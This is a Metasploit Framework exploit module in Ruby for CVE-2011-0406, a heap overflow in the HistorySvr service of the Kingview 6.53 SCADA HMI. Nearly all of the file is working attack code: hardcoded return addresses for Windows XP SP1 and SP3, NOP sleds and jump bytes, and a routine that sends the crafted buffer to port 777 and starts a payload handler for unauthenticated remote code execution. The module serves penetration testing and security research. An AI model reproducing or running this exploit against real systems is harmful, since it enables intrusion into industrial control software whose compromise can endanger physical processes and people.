97 lines
2.5 KiB
Ruby
97 lines
2.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info={})
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super(update_info(info,
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'Name' => "Kingview 6.53 SCADA HMI HistorySvr Heap Overflow",
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'Description' => %q{
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This module exploits a buffer overflow in Kingview 6.53. By sending a specially
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crafted request to port 777 (HistorySvr.exe), a remote attacker may be able to
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gain arbitrary code execution without authentication.
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},
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'License' => MSF_LICENSE,
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'Version' => "$Revision$",
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'Author' =>
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[
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'Dillon Beresford', #Found by Dillon
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'rick2600', #XP SP3 execution
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],
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'References' =>
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[
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['CVE', '2011-0406'],
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['OSVDB', '70366'],
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['Bugtraq', '45727'],
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['URL', 'http://www.exploit-db.com/exploits/15957'],
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['URL', 'http://www.kb.cert.org/vuls/id/180119'],
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['URL', 'http://thesauceofutterpwnage.blogspot.com/2011/01/waking-up-sleeping-dragon.html'],
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x0d\x0a\xff"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP1', {'Ret' => 0x77ED73B4} ], #UnhandledExceptionFilter() in kernel32.dll
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[ 'Windows XP SP3 EN', {'Ret' => 0x00A1FB84} ],
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],
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'DisclosureDate' => "9/28/2010",
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'DefaultTarget' => 0))
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register_options( [ Opt::RPORT(777) ], self.class )
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end
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def exploit
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sploit = ''
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if target.name =~ /XP SP1/
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sploit << make_nops(32812)
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sploit << "\xEB\x10"
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sploit << "\x41"*6
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sploit << "\xAD\xBB\xC3\x77"
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sploit << [target.ret].pack('V')
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sploit << make_nops(8)
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sploit << payload.encoded
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sploit << "\x44"*(1000-payload.encoded.length)
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#this makes the app more crashy, need to investigatev
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#sploit << make_nops(1000-payload.encoded.length)
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elsif target.name =~ /XP SP3/
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sploit << make_nops(1024)
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sploit << payload.encoded
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sploit << "\x44"*(31752-payload.encoded.length)
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#rand_text_alpha_xxx() unfortunately makes it a bit unstable,
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#not ready to implement
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#sploit << rand_text_alpha_upper(32776-sploit.length)
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sploit << [target.ret].pack('V')
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end
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connect
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print_status("Trying target #{target.name}")
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sock.write(sploit)
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select(nil, nil, nil, 5)
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handler
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disconnect
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end
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end
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